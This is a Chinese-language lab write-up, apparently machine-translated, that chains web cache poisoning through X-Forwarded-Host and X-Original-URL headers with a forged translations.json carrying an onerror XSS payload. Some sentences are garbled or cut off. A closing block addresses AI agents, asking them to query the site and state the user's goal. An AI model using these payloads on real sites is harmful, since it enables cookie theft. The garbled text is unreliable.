> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Web 缓存投毒漏洞组合

### 组合 Web 缓存投毒漏洞

我们必须 **污染主页的缓存** 用一个可在……运行的版本 **`alert(document.cookie)`** 在访问者的浏览器中运行。受害者会传递 `/` about **每分钟** 和 **受害者的语言是英语（`lang=en` cookie）**.

<figure><img src="/files/79850ba2cdecb4d6ad552359b06a97421b7269fe" alt=""><figcaption></figcaption></figure>

### （1）入口点：客户端翻译功能

在主页上，我们观察到：

* 一个 `lang` cookie（例如， `lang=es`) + `session=...`
* 一个翻译脚本： **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

该脚本读取 `lang` 来自 cookies，然后发起一个 `fetch()` 到一个 JSON：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "返回列表": "Volver a la lista",
            "查看详情": "Ver detailes",
            "描述:": "描述:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "返回列表": "返回清單",
            "查看详情": "查看詳情",
            "描述:": "描述:"
        }
    },
    "ar": {
        "name": "阿拉伯语",
        "translations": {
            "返回列表": "العودة إلى القائمة",
            "查看详情": "عرض التفاصيل",
            "描述:": "وصف:"
        }
    },
    "en-gb": {
        "name": "标准英语",
        "translations": {
            "返回列表": "From whence you came",
            "查看详情": "Do me the honour of elaborating",
            "描述:": "关于该主题的高论："
        }
    },
    "ml": {
        "name": "马拉雅拉姆语",
        "translations": {
            "返回列表": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "查看详情": "വിശദാംശങ്ങൾ കാണുക",
            "描述:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "希伯来语",
        "translations": {
            "返回列表": "חזור לרשימה",
            "查看详情": "הצג פרטים",
            "描述:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "返回列表": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "查看详情": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "描述:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "芬兰语",
        "translations": {
            "返回列表": "Palaa luetteloon",
            "查看详情": "查看详情",
            "描述:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "夏威夷语",
        "translations": {
            "返回列表": "Hoʻi i ka papa inoa",
            "查看详情": "E nānā i nā kikoʻī",
            "描述:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "缅甸语",
        "translations": {
            "返回列表": "စာရင်းသို့ပြန်သွားသည်",
            "查看详情": "အသေးစိတ်ကြည့်ရန်",
            "描述:": "ဖော်ပြချက်:"
        }
    }
}
```

和 `data.host` 来自主页上的一个内联块：

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

然后脚本通过替换文本来应用翻译， `innerHTML`这一点很重要，因为如果你控制了 JSON，它会把翻译变成\*\*HTML 注入\*\*。

### 漏洞 #1：通过……操纵主机 `X-Forwarded-Host`

添加以下 HTTP 头

```http
X-Forwarded-Host: test.com
```

我们发现该值被反映在 `data.host`.

<figure><img src="/files/e81b43e348da0fb00a1ad241566eac7ea5e7f54e" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/aec9bd0bc6d46228d8963a6aaf126dc597ad559f" alt=""><figcaption></figcaption></figure>

因此我们可以强制浏览器加载该文件：

```bash
/resources/json/translations.json
```

### 3. 漏洞 #2：通过 JSON 翻译文件实现 XSS

我们在 exploit 服务器上托管一个伪造的 `translations.json` 其中的某个翻译包含 XSS 注入，例如：

```json
{
    "en": {
        "name": "英语"
    },
    "es": {
        "name": "西班牙语",
        "translations": {
            "返回列表": "Hola",
            "查看详情": "></a><img src=0 onerror=alert(document.cookie)>",
            "描述:": "描述:"
        }
    }
}
```

<figure><img src="/files/b615029c0bd8d491da64b9543cca5196325b7abb" alt=""><figcaption></figcaption></figure>

然后我们使用：

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

现在，缓存提供的主页将指向我们的恶意 JSON 文件。

因此，翻译内容会被解释为 HTML，从而允许执行注入的 JavaScript。

<figure><img src="/files/59e6adf18a46706741bd8581106ada72591e41f5" alt=""><figcaption></figcaption></figure>

### 4. 限制：受害者使用英语

翻译脚本仅在以下情况下执行：

* `lang !== 'en'`

受害者最初 `lang=en`. / 即使我们控制了 JSON 文件，\*\*l

因此我们必须 **强化西班牙语部分**.

### 5. 漏洞 #3：通过……强制更改语言 `X-Original-URL`

<figure><img src="/files/963759a9e3a6510bfb2f1f2c7a8fe8bb09db052f" alt=""><figcaption></figcaption></figure>

使用 Param Miner，我们识别出有漏洞的头：

```http
X-Original-Url: /test
```

我们向……发送另一条请求 `/` 使用：

* `X-Original-URL: /test` → `404 未找到`

<figure><img src="/files/cbb5ae24c0c5c92a2b812f3fe04dea6d93db2815" alt=""><figcaption></figcaption></figure>

缓存返回一个定义了 `lang=es` 供访问者使用。

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

这条路径：

* 设置 `lang=es` cookie
* 然后返回主页

<figure><img src="/files/9604630fefe0b7b513e7e6a4872cc050b19efad9" alt=""><figcaption></figcaption></figure>

#### 在受害者身上执行载荷

1. 受害者访问 `/`
2. `lang` cookie 变为 `es`
3. 页面重新加载 `translations.json` 来自我们的 exploit 服务器的文件
4. 恶意翻译被注入到 DOM 中
5. 浏览器执行：

<figure><img src="/files/6ef8d6fa1f1d064c12a1aae7484ee65cf0225c03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
